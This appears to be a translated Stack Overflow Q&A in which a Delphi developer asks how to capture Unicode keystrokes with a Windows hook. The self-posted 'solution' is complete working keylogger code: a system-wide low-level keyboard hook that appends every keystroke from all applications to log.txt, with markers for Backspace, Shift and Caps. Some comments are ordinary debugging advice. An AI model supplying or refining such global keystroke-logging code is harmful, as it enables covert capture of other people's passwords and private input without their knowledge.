2016-12-06 66 views
0

我想改变一个旧的代码键盘钩为更好的支持Unicode字符(旧代码是ascii),在这一刻我有困难,以捕获WM_KEYDOWN事件。如何通过Windows钩子捕获WM_KEYDOWN事件?

我的实际代码如下:

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function KBHookProc(Code: Integer; WParam: WParam; LParam: LParam) 
    : LRESULT; stdcall; 
var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if Code = HC_ACTION then 
    begin 
if _Msg.Msg = WM_KEYDOWN then 
    begin 
    VK := _Msg.WPARAM; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    end; 
    Result := CallNextHookEx(HookHandle, Code, WParam, LParam); 
end; 


procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    HookHandle := SetWindowsHookEx(WH_JOURNALRECORD , @KBHookProc, hinstance, 0); 
end; 

编辑1:

我的代码如下捕捉WM_KEYDOWN成功,但没有数据被写入到文件:-(

一些建议吗?

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    _Msg: TMessage; 
    VK: Integer; 
    SC: Integer; 
    buf: Char; 
    KS: TKeyboardState; 
    MyHKB: HKL; 
begin 
    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 
    VK := _Msg.WParam; 
    MyHKB := GetKeyboardLayout(_Msg.LParam); 
    SC := MapVirtualKeyEx(VK, MAPVK_VK_TO_VSC, MyHKB); 
    GetKeyboardState(KS); 
    ToUnicodeEx(VK, SC, KS, @buf, sizeof(buf), 0, MyHKB); 

     append(ft); 

      write(ft,buf); 
      closefile(ft); 
     MyHKB := 0; 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end; 
+1

为什么您使用'WH_JOURNALRECORD'而不是'WH_KEYBOARD'或'WH_KEYBOARD_LL'?而你的'KBHookProc()'使用'_Msg',而不先分配任何东西。为什么不处理'WM_CHAR' /'WM_UNICHAR'窗口消息而不是'WM_KEYDOWN'键盘消息?如果您只是为自己的应用程序处理键盘输入,请改用“TApplication.OnMessage”。如果您要挂钩其他应用程序,请考虑使用[原始输入API](https://msdn.microsoft.com/en-us/library/windows/desktop/ms645536.aspx),而不要使用“SetWindowsHookEx()”。 –

+0

@RemyLebeau,我编辑了我的问题。为什么没有写入文件? – Saulo

+0

我似乎记得原生的Delphi文件函数不能很好地处理Unicode。除此之外,你是否做过任何调试,以确认你调用的所有API函数返回你期望的结果?我在这里没有看到任何错误检查代码。 –

回答

-1

解决方案!

下面是完整的代码工作:d

我愿意为Backspace关键建议。

例如,当按下此键时,删除文件末尾的最后一个字符。

如果存在其他方式来做到这一点,我也接受。

var 
    Form1: TForm1; 
    HookHandle: hHook; 
    ft: text; 

implementation 

{$R *.dfm} 

function LowLevelKeyboardProc(nCode: Integer; wParam: wParam; 
    lParam: lParam): LRESULT; stdcall; 
    var 
    vkey: Cardinal; 
    buff: WideChar; 
    kbState: TKeyboardState; 
    keybLayout: HKL; 
    _msg: PEventMsg; 
begin 
    _msg := Pointer(lParam); 

    if (nCode >= 0) and (wParam = WM_KEYDOWN) then 
    begin 

    GetKeyboardState(kbState); 
    KeybLayout:=GetKeyboardLayout(0); 
    vkey := MapVirtualKeyEx(_msg.paramL, MAPVK_VSC_TO_VK, keybLayout); 
    ToUnicodeEx(vkey, _msg.paramL, @kbState, @buff, 1, 0, keybLayout); 

     append(ft); 

      if vkey = 8 then 
       write(ft,'{BKS}') 
      else 
      if vkey = 16 then 
       write(ft,'{SHIFT}') 
      else 
      if vkey = 20 then 
       write(ft,'{CAPS}') 
      else 

      write(ft,buff); 

     closefile(ft); 
    end; 
    Result := CallNextHookEx(HookHandle, nCode, wParam, lParam); 
end; 

function InstallHook: Boolean; 
begin 
    Result := False; 
    if HookHandle = 0 then 
    begin 
    HookHandle := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, 0, 0); 
    Result := HookHandle <> 0; 
    end; 
end; 

function UninstallHook: Boolean; 
begin 
    Result := UnhookWindowsHookEx(HookHandle); 
    HookHandle := 0; 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
begin 
    assignfile(ft,'log.txt'); 
    rewrite(ft); 
    closefile(ft); 

    InstallHook; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
    UninstallHook; 
end; 
+0

为了使代码正常工作,您必须更改哪些主要内容? –

+0

@Rob肯尼迪,可以帮助我[这个问题](http://stackoverflow.com/questions/41008676/how-make-setthreaddesktop-api-work-from-of-a-console-application?noredirect=1# comment69226584_41008676)? – Saulo